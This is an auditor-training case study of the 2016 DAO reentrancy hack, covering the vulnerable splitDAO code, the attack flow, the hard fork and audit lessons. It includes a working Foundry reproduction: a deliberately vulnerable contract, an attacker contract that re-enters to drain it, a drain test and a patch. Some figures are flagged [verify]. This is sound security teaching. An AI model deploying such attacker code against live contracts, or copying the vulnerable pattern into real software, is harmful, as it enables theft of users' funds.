Case: The DAO Reentrancy (June 2016)
“This was the moment Ethereum learned that ‘code is law’ is a slogan, not a security model. The recursive-send pattern had been documented and warned about for months before the attack; the protocol that lost ~$60M had been audited; the bug had been raised on a mailing list. None of that stopped it. Auditors should read this case not as ancient history but as the prototype for every reentrancy that has followed — Cream, Penpie, Curve, and the next one.”
Tags: case-study reentrancy historical ethereum hard-fork vulnerability Related: Tuan-05-Vulnerability-Classes-Part-1 · Tuan-04-Security-Foundations-CEI-AC · Case-Parity-Multisig-2017 · Case-Cream-Iron-Bank-2021 · Case-Penpie-Pendle-2024
1. At a Glance
| Field | Value |
|---|---|
| Date | June 17, 2016 (attack began ~03:34 UTC) |
| Protocol | The DAO — a decentralized investment fund built on Ethereum by Slock.it |
| Loss | |
| Funds-at-risk total | The DAO held |
| Attack class | Reentrancy (recursive external call before state update) |
| Root cause | CEI violation: withdrawRewardFor performs an external call.value() before splitDAO zeroes the attacker’s balances[] and decrements totalSupply |
| Outcome | Ethereum hard fork at block 1,920,000 on July 20, 2016. The unforked chain continued as Ethereum Classic (ETC). EIP-779 documents the irregular state transition. |
| Funds recovered | ~11.5M ETH transferred to the WithdrawDAO contract (0xbf4ed7b27f1d666546e30d74d50d173d20bca754) via the fork; original DAO investors could redeem 1 ETH per 100 DAO tokens. [verify exact ratio] |
| Lasting consequence | Birth of Ethereum Classic; permanent industry skepticism of “code is law”; reentrancy moved from theoretical concern to top-of-checklist for every auditor since. |
2. Background
2.1 What The DAO was
The DAO (“Decentralized Autonomous Organization” — capitalized because it was the only one at the time) was a venture-capital fund implemented as a smart contract. The pitch:
- Anyone could buy DAO tokens by sending ETH to the contract during a “creation phase” (~28 days, April 30 – May 28, 2016).
- Token holders voted on funding proposals submitted by service providers and project teams.
- Approved proposals received ETH from the DAO’s treasury and, if successful, returned profits as “rewards” distributable to token holders proportional to their stake.
- A small “Curator” multisig (high-profile community members including Vitalik Buterin, Gavin Wood, Alex Van de Sande, Vlad Zamfir, and others) had veto power over malicious proposals but no positive control of funds.
It was the largest crowdfunding event in history at the time: ~12.7M ETH raised from ~11,000 unique addresses, valued at roughly $150M at the prevailing ETH price. It accounted for roughly 14% of all circulating ETH.
2.2 The split mechanism — the bug’s habitat
The DAO included a built-in exit mechanism called “splitting.” A dissenting token holder could:
- Submit a split proposal designating a “new Curator” (i.e., a fresh DAO contract they would control).
- After a voting deadline, anyone who had voted YES on that split could execute
splitDAO, moving their proportional ETH share into the child DAO and burning their DAO tokens in the parent. - The child DAO had its own 27-day debate / creation period before its tokens became transferable.
This was meant as a minority-protection feature: if you didn’t like the majority’s funding decisions, you could fork off with your money. It also turned out to be the attack surface.
2.3 Why it was high-profile
- Money: ~1B.
- Visibility: Slock.it (the German company behind The DAO) promoted the project heavily; mainstream financial press covered it (Forbes, FT, Bloomberg).
- Ideological stakes: The DAO was the first real test of “code is law” — the proposition that on-chain rules are the only rules. Whatever Ethereum did in response would set precedent.
- Prior warnings: Researchers had publicly flagged reentrancy concerns. Peter Vessenes published a recursive-call warning post on June 9, 2016 (eight days before the attack). Christian Reitwiessner (Solidity lead) had documented the recursive-send pattern. Stephan Tual and the Slock.it team publicly stated “no funds were at risk” on June 12. The attack happened five days later.
The DAO was not unaudited; it was insufficiently audited against a bug class the industry didn’t yet have a name for.
3. The Vulnerable Code
The bug lived in the interaction between three functions:
3.1 splitDAO — the entry point (DAO.sol)
function splitDAO(
uint _proposalID,
address _newCurator
) noEther onlyTokenholders returns (bool _success) {
Proposal p = proposals[_proposalID];
// ... sanity checks (votingDeadline, votedYes, blocked, etc.) ...
if (address(p.splitData[0].newDAO) == 0) {
p.splitData[0].newDAO = createNewDAO(_newCurator);
// ...
p.splitData[0].splitBalance = actualBalance();
p.splitData[0].rewardToken = rewardToken[address(this)];
p.splitData[0].totalSupply = totalSupply; // ← snapshot taken ONCE
p.proposalPassed = true;
}
// Move ether and assign new Tokens
uint fundsToBeMoved =
(balances[msg.sender] * p.splitData[0].splitBalance) /
p.splitData[0].totalSupply;
if (p.splitData[0].newDAO.createTokenProxy.value(fundsToBeMoved)(msg.sender) == false)
throw;
// Assign reward rights to new DAO
// ... reward-token bookkeeping ...
// Burn DAO Tokens
Transfer(msg.sender, 0, balances[msg.sender]);
withdrawRewardFor(msg.sender); // ← ❶ EXTERNAL CALL HAPPENS HERE
totalSupply -= balances[msg.sender]; // ← ❷ EFFECTS HAPPEN AFTER
balances[msg.sender] = 0; // ← ❷
paidOut[msg.sender] = 0; // ← ❷
return true;
}The numbered annotations show the CEI violation: the external call (❶) precedes the state updates (❷).
3.2 withdrawRewardFor — the function that hands control to the attacker
function withdrawRewardFor(address _account) noEther internal returns (bool _success) {
if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account])
throw;
uint reward =
(balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account];
if (!rewardAccount.payOut(_account, reward)) // ← calls external account → attacker receive()
throw;
paidOut[_account] += reward;
return true;
}This function reads balanceOf(_account) (which is balances[_account]) — still equal to the attacker’s full deposit, because splitDAO hasn’t zeroed it yet — and asks rewardAccount to pay it out.
3.3 payOut — the hand-off (ManagedAccount.sol)
function payOut(address _recipient, uint _amount) returns (bool) {
if (msg.sender != owner || msg.value > 0 || (payOwnerOnly && _recipient != owner))
throw;
if (_recipient.call.value(_amount)()) { // ← unbounded gas! attacker code runs here
PayOut(_recipient, _amount);
return true;
} else {
return false;
}
}_recipient.call.value(_amount)() is the classic vulnerable primitive: it forwards essentially all remaining gas to the recipient, and on Solidity 0.3.x there is no compiler warning and no built-in mutex.
3.4 The CEI violation in one sentence
splitDAOcallswithdrawRewardFor → payOut → _recipient.call(...)— handing execution to the attacker — before it zeroesbalances[msg.sender]or decrementstotalSupply. From the attacker’s fallback, the nextsplitDAO(proposalID, newCurator)sees the attacker’s full token balance and the unchanged proposal snapshot, and pays out again.
3.5 The trust assumption that failed
The Slock.it developers’ implicit model:
- “
withdrawRewardForis a ‘safe subroutine’ — we wrote it, we trust it.” - “It only sends to the user’s own address; the user is the one initiating the split; what could they do to themselves?”
What they missed:
- “The user” is an EVM address, which can be a contract. A contract’s
receive()/ fallback executes attacker-controlled code with the attacker’s full call-budget. - The “subroutine” boundary is meaningless when execution leaves the contract. Once
payOutdoes_recipient.call(...), anything can happen — including re-entering the original public function. - Phil Daian’s later analysis emphasized:
withdrawRewardForalone was safe,splitDAOalone was safe; the composition was deadly. Audits routinely review functions in isolation. This is the audit anti-pattern this case study should burn into your reflexes.
3.6 Why the snapshot made the bug worse
Inside splitDAO:
p.splitData[0].totalSupply = totalSupply; // captured ONCE, on first split call
// ...
uint fundsToBeMoved =
(balances[msg.sender] * p.splitData[0].splitBalance) /
p.splitData[0].totalSupply;Both splitBalance (the DAO’s ETH balance at the moment of the first split) and totalSupply are read from the proposal snapshot, not live state. So even as the DAO drains during the recursive calls, every iteration computes the same fundsToBeMoved. The attack is constant payout per iteration — no diminishing returns. This is what made it so efficient.
4. The Attack
4.1 Preparation
The attacker performed several preparatory steps over the days before June 17:
- Acquired DAO tokens (a small amount — exact figure not consistently reported; some sources cite ~258 ETH worth of DAO tokens — but the key point is they only needed a non-zero balance to qualify as a tokenholder). [verify]
- Submitted split proposals designating attacker-controlled curator addresses, including the now-infamous “DarkDAO” address
0x304a554a310c7e546dfe434669c62820b7d83490. - Waited out the voting period (~7 days minimum). Voted YES on their own proposals.
- Deployed the attack contracts — two known malicious contracts at
0xf835a0247b0063c04ef22006ebe57c5f11977cc4and0xc0ee9db1a9e07ca63e4ff0d5fb6f86bf68d47b89. [verify]
4.2 The attack transaction
On June 17, 2016, around block 1,718,497 [verify], the attacker sent a transaction calling splitDAO(proposalID, newCurator) from their malicious contract. The call flow:
attacker_contract.attack()
└── DAO.splitDAO(proposalID, attackerCurator)
├── createNewDAO(...) [first iteration only — sets splitData snapshot]
├── newDAO.createTokenProxy.value(fundsToBeMoved)(msg.sender) [sends ETH to child DAO]
├── (reward-token bookkeeping — unchanged across iterations)
├── withdrawRewardFor(msg.sender)
│ └── rewardAccount.payOut(msg.sender, reward)
│ └── msg.sender.call.value(reward)() ← CONTROL TO ATTACKER
│ └── attacker_contract.fallback()
│ └── DAO.splitDAO(proposalID, attackerCurator) ← RE-ENTRY
│ ├── (snapshot already exists — skips createNewDAO)
│ ├── newDAO.createTokenProxy.value(fundsToBeMoved)(msg.sender)
│ ├── withdrawRewardFor(msg.sender)
│ │ └── (re-enters again, ...)
Recursion depth was bounded only by the EVM call-stack limit and the available gas. Pre-Tangerine Whistle (October 2016, EIP-150), the call-stack limit was a hard 1024 frames; post-EIP-150 it’s the 63/64 gas rule. In June 2016, the limit was 1024 — but in practice the attacker re-entered for dozens of iterations per outer transaction, leaving plenty of gas budget by sending many such transactions over several hours.
Auditor note: the often-quoted “hundreds of recursive calls” refers to total iterations across many attack transactions, not necessarily a single transaction. The exact per-tx call count is in the trace of
0xf835a02...’s outbound transactions on Etherscan. The shape that matters for the lesson is “the loop ran until the gas budget ran out, then the attacker funded a new transaction and continued.”
4.3 What each iteration moved
Each recursive splitDAO invocation:
- Transferred a fresh slice of
fundsToBeMovedETH into the attacker’s child DAO viacreateTokenProxy.value(fundsToBeMoved)(msg.sender). - Updated reward-token accounting (
rewardToken[address(p.splitData[0].newDAO)] += rewardTokenToBeMoved) — but did so in a way that also used the cached snapshot, so iterations didn’t interfere with each other. - Did not decrement
balances[msg.sender](that’s the bug). - Did not decrement
totalSupply(that’s the bug). - Did not zero
paidOut[msg.sender](that’s the bug).
The combination is what made it draining-rather-than-merely-buggy: every iteration looks like a “first split” to the contract’s bookkeeping.
4.4 The drain in numbers
- Total drained on June 17: ~3,641,694 ETH [verify exact figure across sources — commonly stated as 3.6M ETH].
- Initial drain rate: roughly 50,000 ETH per minute at peak, before the attacker slowed to avoid attention. [verify]
- Funds landed in the attacker’s child DAO at
0x304a554a310c7e546dfe434669c62820b7d83490. - A “white-hat group” subsequently used the same exploit defensively against the remaining DAO balance to lock funds into a second child DAO that they controlled, racing the original attacker for the rest of the treasury. (This is now folklore: the same bug was used by both sides.)
5. Reproduction in Foundry
We’ll build a stripped-down version that captures the bug pattern cleanly. We’re not replicating the full DAO — we’re replicating the CEI violation in splitDAO with the same shape.
5.1 Victim contract
// src/MiniDAO.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/// @title MiniDAO — a deliberately-vulnerable model of The DAO's splitDAO bug
/// @notice DO NOT DEPLOY. Educational reproduction of CVE-class reentrancy.
contract MiniDAO {
mapping(address => uint256) public balances; // mirrors DAO.balances
uint256 public totalSupply; // mirrors DAO.totalSupply
// Snapshot equivalent of p.splitData[0]
struct SplitSnapshot {
bool initialized;
uint256 splitBalance; // = address(this).balance at first split
uint256 totalSupplyAt; // = totalSupply at first split
}
SplitSnapshot public snap;
function deposit() external payable {
balances[msg.sender] += msg.value;
totalSupply += msg.value;
}
/// @dev Models DAO.splitDAO: external call BEFORE state updates.
function splitDAO() external {
require(balances[msg.sender] > 0, "no balance");
// Take snapshot on first entry — mirrors p.splitData[0]
if (!snap.initialized) {
snap = SplitSnapshot({
initialized: true,
splitBalance: address(this).balance,
totalSupplyAt: totalSupply
});
}
// "Move ether" — pays msg.sender proportional to their pre-split balance,
// computed against the SNAPSHOT (not live state).
uint256 fundsToBeMoved =
(balances[msg.sender] * snap.splitBalance) / snap.totalSupplyAt;
// The vulnerable external call: withdrawRewardFor → payOut → call.value
_withdrawRewardFor(msg.sender, fundsToBeMoved);
// EFFECTS happen AFTER the external call — classic CEI violation
totalSupply -= balances[msg.sender];
balances[msg.sender] = 0;
}
function _withdrawRewardFor(address _to, uint256 _amount) internal {
// Models ManagedAccount.payOut: forwards all gas.
(bool ok, ) = _to.call{value: _amount}("");
require(ok, "payout failed");
}
receive() external payable {}
}5.2 Attacker contract
// test/Attacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "../src/MiniDAO.sol";
contract Attacker {
MiniDAO public dao;
uint256 public reentries;
uint256 public maxReentries;
constructor(MiniDAO _dao) {
dao = _dao;
}
/// @notice Kick off the drain. Caller pre-funds with seed ETH for a deposit.
function attack(uint256 _maxReentries) external payable {
maxReentries = _maxReentries;
dao.deposit{value: msg.value}();
dao.splitDAO();
}
/// @notice Re-enter on every refund until the cap or the DAO is empty.
receive() external payable {
if (reentries < maxReentries && address(dao).balance >= msg.value) {
reentries += 1;
dao.splitDAO();
}
}
function loot() external {
(bool ok, ) = msg.sender.call{value: address(this).balance}("");
require(ok);
}
}5.3 Foundry test — full drain demonstration
// test/MiniDAO.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "../src/MiniDAO.sol";
import "./Attacker.sol";
contract MiniDAOReentrancyTest is Test {
MiniDAO dao;
Attacker attacker;
// 10 innocent participants, 1 ETH each = 10 ETH in the DAO
function setUp() public {
dao = new MiniDAO();
for (uint256 i = 1; i <= 10; i++) {
address user = address(uint160(0x1000 + i));
vm.deal(user, 1 ether);
vm.prank(user);
dao.deposit{value: 1 ether}();
}
attacker = new Attacker(dao);
}
function test_drainViaSplitDAOReentrancy() public {
// Attacker starts with 1 ETH of "deposit"; DAO already holds 10 ETH from users.
vm.deal(address(this), 1 ether);
emit log_named_uint("DAO balance BEFORE", address(dao).balance);
emit log_named_uint("Attacker balance BEFORE", address(attacker).balance);
// 20 re-entries is plenty: each iteration extracts
// fundsToBeMoved = (1e18 * 11e18) / 11e18 = 1 ETH per call.
// With 11 ETH in the pool, we drain in 11 calls.
attacker.attack{value: 1 ether}(20);
emit log_named_uint("DAO balance AFTER", address(dao).balance);
emit log_named_uint("Attacker balance AFTER", address(attacker).balance);
emit log_named_uint("Reentries observed", attacker.reentries());
assertEq(address(dao).balance, 0, "DAO should be fully drained");
assertGt(address(attacker).balance, 1 ether, "attacker should net profit");
}
}Run:
forge test --match-test test_drainViaSplitDAOReentrancy -vvv5.4 Expected numbers
With this setup:
- Attacker deposits 1 ETH. DAO now holds 11 ETH;
totalSupply = 11e18. - First
splitDAOsnapshotssplitBalance = 11 ETH,totalSupplyAt = 11e18. - Each iteration computes
fundsToBeMoved = (1 ETH * 11 ETH) / 11 ETH = 1 ETH. - The constant-payout property of The DAO is reproduced exactly: every re-entry returns 1 ETH regardless of how much is left.
- After 11 iterations (1 initial + 10 re-entries), the DAO is empty; attacker holds ~11 ETH.
- The attacker spent 1 ETH; they extracted 10 ETH from innocent depositors. Profit margin: 1000%. This matches the per-tx behavior of the historical drain.
5.5 Patch — apply CEI + ReentrancyGuard
// Patch for MiniDAO.splitDAO
function splitDAO() external nonReentrant { // ← guard
require(balances[msg.sender] > 0, "no balance");
if (!snap.initialized) { /* ...snapshot... */ }
uint256 senderBalance = balances[msg.sender]; // ← CHECKS done
uint256 fundsToBeMoved =
(senderBalance * snap.splitBalance) / snap.totalSupplyAt;
totalSupply -= senderBalance; // ← EFFECTS first
balances[msg.sender] = 0;
_withdrawRewardFor(msg.sender, fundsToBeMoved); // ← INTERACTIONS last
}Re-run the test: it should revert with "no balance" on the first re-entry attempt (balance was zeroed pre-call), or revert with the nonReentrant guard’s "ReentrancyGuardReentrantCall". The DAO retains 10 ETH; attacker exits with their 1 ETH deposit refunded.
5.6 Stretch lab: read-only and cross-function variants
- Add a public
getBalance(address)view toMiniDAO. Show that during the recursive drain, an external invariant-checker readinggetBalancesees stale values — the read-only reentrancy primitive that would later sink Cream/Iron Bank. - Add a
transfer(address, uint256)function that readsbalances. Show that a single-functionnonReentrantonsplitDAOdoesn’t stop the cross-function variant iftransferis unguarded.
6. Aftermath
6.1 The 27-day window — why the attack didn’t immediately mean loss
A peculiar feature of The DAO’s design rescued the situation: the child DAO (where the drained ETH now sat) was itself a DAO contract, which meant it had its own 27-day creation/debate period before tokens could be transferred and ETH withdrawn. The funds were “in” the attacker’s wallet but time-locked at the protocol level.
This bought the Ethereum community ~27 days to decide what to do. It also created an unprecedented spectacle: a $60M heist visible to the world, with a 27-day countdown to settlement.
6.2 The soft fork that failed
The first response (announced June 24) was a soft fork: miners would refuse to include transactions that altered the DAO’s balance, effectively freezing the attacker’s funds without changing history.
On June 28, security researchers discovered a fatal flaw in the soft fork itself: a DoS vulnerability where attackers could send free transactions targeting DAO-balance changes, forcing miners to do the work of validating and rejecting them without paying gas. Miners would expend resources verifying transactions they were about to discard — a denial-of-service vector against the censoring miners themselves. The soft fork was abandoned.
Auditor lesson: even the mitigation had a vulnerability. The lesson generalizes: emergency-response code is code, and emergency-response code under time pressure is rarely audited to the same standard as the protocol it’s defending.
6.3 The hard fork
On July 20, 2016, at block 1,920,000, Ethereum executed a hard fork specified retroactively as EIP-779. The fork performed an irregular state transition — not a protocol change, but a one-time state edit that:
- Transferred ETH from 114 enumerated DAO-related accounts (the original DAO, all child DAOs including the attacker’s, extraBalance accounts, etc.) to a new
WithdrawDAOcontract at0xbf4ed7b27f1d666546e30d74d50d173d20bca754. - Allowed original DAO token holders to redeem at the original creation-phase ratio (~1 ETH per 100 DAO tokens). [verify ratio]
- Required blocks 1,920,000 through 1,920,009 to include the byte string
dao-hard-forkin theirextraDatafield as a chain identifier.
The fork passed a carbon-vote (token-weighted on-chain signal) with roughly 87% support (caveat: low voter turnout — about 4.5% of total ETH supply participated). Hashrate followed.
6.4 The birth of Ethereum Classic
A minority of miners and users — including Charles Hoskinson, Barry Silbert (Grayscale), and others — rejected the fork on principle. Their argument: immutability is the entire value proposition; if a sufficiently sympathetic loss can trigger a state edit, every future loss is a candidate. They continued mining the un-forked chain, which became Ethereum Classic (ETC).
The split was permanent. ETC still exists today, runs its own developer community, and maintains the philosophical position that “code is law” is non-negotiable. Notably, the attacker’s child DAO funds remained intact and spendable on ETC — the attacker (or somebody) eventually moved them and sold via Bitsuisse / Shapeshift, [verify] generating a small ETC fortune.
6.5 Industry-level consequences
- Reentrancy moved from “footnote” to “first checklist item.” Every audit firm post-DAO opens its reentrancy chapter with this incident.
call.value()warnings were added to Solidity. Compiler heuristics flagged the pattern.- OpenZeppelin’s
ReentrancyGuardmodifier became standard. Before The DAO it existed but was rarely used; after, it became a default. - The “CEI” acronym achieved canonical status. Pre-DAO, “Checks-Effects-Interactions” was a phrase in Solidity docs; post-DAO, it was tattooed onto every junior auditor.
- The
transfer()/send()2300-gas idiom was promoted (briefly) as a structural defense. (This guidance has since aged badly — see §7.2.) - “Trustless code” lost some of its religious aura. Hard-forking to undo a smart-contract outcome had been considered impossible; now it had a precedent. This shaped DAO governance design and the entire later debate around upgradeable proxies, timelocks, and pausability — protocols started building emergency-stop mechanisms instead of relying on infallible code.
7. Lessons for Auditors
7.1 CEI as a structural defense, not a convenience
The Solidity Documentation listed CEI before The DAO. The DAO ignored it. CEI is the only defense that works without runtime cost and without trusting other code:
- The reentrancy guard is a runtime check (cheap, but a check).
- Pull-over-push is a UX redesign.
- 2300-gas heuristics are environment-dependent.
CEI is a structural property of your code — if effects precede interactions, reentrancy cannot drain because the second entry sees zeroed state. Make this your first reflex on every state-changing function.
7.2 Why “send() with 2300 gas” is no longer reliable
Post-DAO, Solidity’s transfer() and send() were promoted because they forward only 2300 gas — not enough to do meaningful re-entry. This guidance assumed gas costs would remain stable. They didn’t:
- EIP-1884 (Istanbul, Dec 2019) raised the cost of
SLOADfrom 200 → 800 gas, andBALANCE/EXTCODEHASHfrom 400 → 700. Innocent receivers that did anything on receipt could fail under 2300. - EIP-2929 (Berlin) further changed gas costs for storage access.
- L2s and forks have different gas tables — 2300 gas means different things on Arbitrum, Optimism, Polygon.
- Smart-contract wallets (Safe, ERC-4337) legitimately need more than 2300 to receive.
Modern guidance: use (bool ok, ) = recipient.call{value: x}("") plus a reentrancy guard plus CEI. The gas-throttle defense is dead.
7.3 Why reentrancy guards became standard
ReentrancyGuard is a mutex on the contract: a storage flag flipped before the function body, cleared after. Re-entry attempts find the flag set and revert. It’s:
- Cheap (one warm SSTORE per call, ~2900 gas on EIP-2929).
- Composable with CEI (defense in depth).
- A safety net against future code edits that might violate CEI by accident.
The auditor’s stance: CEI is the structural defense; the guard is a refactor-safety net. Apply both to any function with external calls.
7.4 Why this bug class persists today
If reentrancy has been understood since June 2016, why is it still in the top-3 attack classes a decade later? Three reasons:
- New shapes. Single-function reentrancy is rare in modern code. But cross-function, cross-contract, and read-only reentrancy each exploit a different blind spot. Cream/Iron Bank (2021) used ERC-777 callbacks; Penpie (2024) re-entered through reward-accounting hooks; Curve’s Vyper-compiler bug (2023) demonstrated that even compiler-provided reentrancy locks can be broken if the compiler has a bug. Each is “The DAO bug” structurally, but auditors looking for
call.value()in awithdraw()miss the modern shape. - Composability multiplies callbacks. ERC-777, ERC-721
onERC721Received, ERC-1155onERC1155Received, ERC-4626 hooks, AMM flash-swap callbacks, lending-protocol flash loans — every callback is a re-entry vector. Modern protocols have more external-call surface than The DAO ever did. - Audit fatigue. By function-level review, each function looks safe. The composition of two safe functions is where reentrancy lives. As Phil Daian observed about The DAO:
withdrawRewardForwas safe;splitDAOwas safe; the combination was deadly. Audit interactions, not just functions.
8. What You Would Have Caught (Pre-Attack Auditor Exercise)
If The DAO landed in your inbox today, walking through splitDAO with 2025 eyes, here is what should fire on read — before you even compile the code.
8.1 Immediate fires (under 60 seconds)
| Signal | Why it fires |
|---|---|
External call before state update — withdrawRewardFor(msg.sender) runs at the bottom of splitDAO, before balances[msg.sender] = 0 | Textbook CEI violation. The first sentence of every reentrancy chapter. |
.call.value(...) to user-supplied _recipient in payOut | Forwards all gas; recipient can be a contract; arbitrary code runs in their fallback. Equivalent of the modern (bool ok, ) = x.call{value: y}("") red flag. |
No mutex anywhere in DAO.sol | The contract has 800+ lines and zero reentrancy locks. Even one storage-flag mutex on splitDAO would have prevented the entire incident. |
| Snapshot used for payouts instead of live state | p.splitData[0].splitBalance / totalSupply are immutable across iterations. This converts a “diminishing-returns drain” into a “constant-payout drain” — a 10x severity amplifier. |
msg.sender treated as benign in a “let’s be nice and get his rewards” comment | The literal in-code comment is // be nice, and get his rewards. The trust assumption is in the source. An auditor reads that comment and asks: “what if ‘he’ is a contract that doesn’t want to be nice back?“ |
8.2 Secondary signals (next 5 minutes)
- Composition risk:
splitDAOcalls intowithdrawRewardFor, which calls intorewardAccount.payOut, which calls into_recipient.call. Three trust boundaries crossed in one function. Each one is a “review subroutine separately” pitfall. - No reentrancy guard on any sibling function: even if
splitDAOwas patched, a cross-function variant viatransfer,transferFrom, orgetMyRewardwould still be live. - Reward-token bookkeeping uses
p.splitData[0]snapshot too: confirms the snapshot is comprehensive, but also confirms the constant-payout property — every iteration is paid out identically. createTokenProxy.value(fundsToBeMoved)(msg.sender)is itself a call to an externally controlled DAO (p.splitData[0].newDAO): the “new DAO” is attacker-controlled (they nominated themselves as Curator). Even without the reward-call vector, thecreateTokenProxycall is a second external call insidesplitDAO, providing an alternate re-entry path.- No emergency pause: even after detection, there was no way to halt withdrawals. (Curators had limited powers; no kill switch.)
8.3 The 60-second auditor verdict
“This function makes two external calls —
createTokenProxy.value(...)andwithdrawRewardFor → payOut → call.value()— to addresses that the caller controls, with no mutex, and only updatesbalances[msg.sender]after both. Critical: classic reentrancy drain via recursivesplitDAO. PoC: deploy a contract with afallbackthat re-invokessplitDAO. Estimated exploitability: trivial. Severity: critical (entire contract balance at risk).”
That paragraph, plus a 30-line Foundry PoC, would have been the finding. The patch (one nonReentrant modifier + move state updates above the external call) is a six-line diff.
8.4 What this teaches about audit methodology
The DAO was reviewed by multiple people. None of them caught it pre-launch. Why?
- Function-level review. They looked at
splitDAOandwithdrawRewardForseparately. Neither is dramatic in isolation. - Comment-driven trust. “Be nice, get his rewards” reads as benign. Auditors should weight comments at zero; only behavior matters.
- No automated tooling. Slither, Mythril, Echidna, Foundry — none existed. Detection that’s now one CLI invocation required manual eyes.
- No “trust boundary” worksheet. Modern audits start by mapping every external call and asking “who controls the recipient?” The DAO had ~10 external-call sites; charting them on paper would have flagged the recursion immediately.
The modern auditor’s playbook (think Spearbit, Trail of Bits, OpenZeppelin) is built on the lessons The DAO taught.
9. References
Primary post-mortems and analyses
- Phil Daian — “Analysis of the DAO exploit” (June 18, 2016): https://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/
- Phil Daian — “Chasing the DAO Attacker’s Wake”: https://pdaian.com/blog/chasing-the-dao-attackers-wake/
- Phil Daian — “Smart-Contract Escape Hatches: The Dao of The DAO” (June 22, 2016): https://hackingdistributed.com/2016/06/22/smart-contract-escape-hatches/
- Peter Vessenes — “Deconstructing theDAO Attack: A Brief Code Tour” (June 18, 2016, original; web-archive copies): https://web.archive.org/web/20160622070055/http://vessenes.com/deconstructing-thedao-attack-a-brief-code-tour/
- Peter Vessenes — “More Ethereum Attacks: Race-To-Empty is the Real Deal” (June 9, 2016 — pre-attack warning): https://web.archive.org/web/20160611213355/http://vessenes.com/more-ethereum-attacks-race-to-empty-is-the-real-deal/
Ethereum Foundation responses
- Vitalik Buterin — “CRITICAL UPDATE Re: DAO Vulnerability” (June 17, 2016): https://blog.ethereum.org/2016/06/17/critical-update-re-dao-vulnerability
- Vitalik Buterin — “Hard Fork Completed” (July 20, 2016): https://blog.ethereum.org/2016/07/20/hard-fork-completed
- EIP-779: Hardfork Meta — DAO Fork (specification of the irregular state transition): https://eips.ethereum.org/EIPS/eip-779
Source code
- The DAO source —
DAO.sol(blockchainsllc / Slock.it mirrors): https://github.com/blockchainsllc/DAO/blob/develop/DAO.sol - The DAO source —
ManagedAccount.sol(containspayOut): https://github.com/blockchainsllc/DAO/blob/develop/ManagedAccount.sol - TheDAO/DAO-1.0 mirror (alternative repo with same code): https://github.com/TheDAO/DAO-1.0/blob/master/DAO.sol
- Parity
withdraw-daorecovery contract: https://github.com/paritytech/withdraw-dao/blob/master/withdraw-dao.sol
White paper and origin
- Slock.it / Christoph Jentzsch — “Decentralized Autonomous Organization to Automate Governance” (DAO white paper, May 2016): https://download.slock.it/public/DAO/WhitePaper.pdf [verify URL — original Slock.it hosting may have moved]
Soft-fork DoS discovery
- Tjaden Hess et al. — Go-Ethereum issue #2744 “Quick-Fix for the potential DAO Soft-Fork DDoS”: https://github.com/ethereum/go-ethereum/issues/2744
Long-form retrospectives
- CoinDesk — “How The DAO Hack Changed Ethereum and Crypto” (10-year retrospective): https://www.coindesk.com/consensus-magazine/2023/05/09/coindesk-turns-10-how-the-dao-hack-changed-ethereum-and-crypto
- Gemini Cryptopedia — “DAO Hack Explained”: https://www.gemini.com/cryptopedia/the-dao-hack-makerdao
- WithSecure Labs — “The hack that changed the blockchain perspective”: https://labs.withsecure.com/publications/the-hack-that-changed-the-blockchain-perspective
- Vlad Zamfir — “The DAO Hard Fork, and the Negotiation that Couldn’t Happen”: https://medium.com/@Vlad_Zamfir/the-dao-hard-fork-and-the-negotiation-that-couldnt-happen-bdd2aedefe84
Etherscan key addresses
- The DAO contract:
0xbb9bc244d798123fde783fcc1c72d3bb8c189413 - Attacker’s “DarkDAO” child:
0x304a554a310c7e546dfe434669c62820b7d83490 - Attacker contracts:
0xf835a0247b0063c04ef22006ebe57c5f11977cc4,0xc0ee9db1a9e07ca63e4ff0d5fb6f86bf68d47b89[verify completeness] - WithdrawDAO recovery contract:
0xbf4ed7b27f1d666546e30d74d50d173d20bca754
Last updated: 2026-05-16 See also: Tuan-04-Security-Foundations-CEI-AC · Tuan-05-Vulnerability-Classes-Part-1 · Case-Parity-Multisig-2017 · Case-Cream-Iron-Bank-2021 · Case-Penpie-Pendle-2024 · Case-Curve-Vyper-Compiler-2023 · audit-checklist-master · Roadmap · References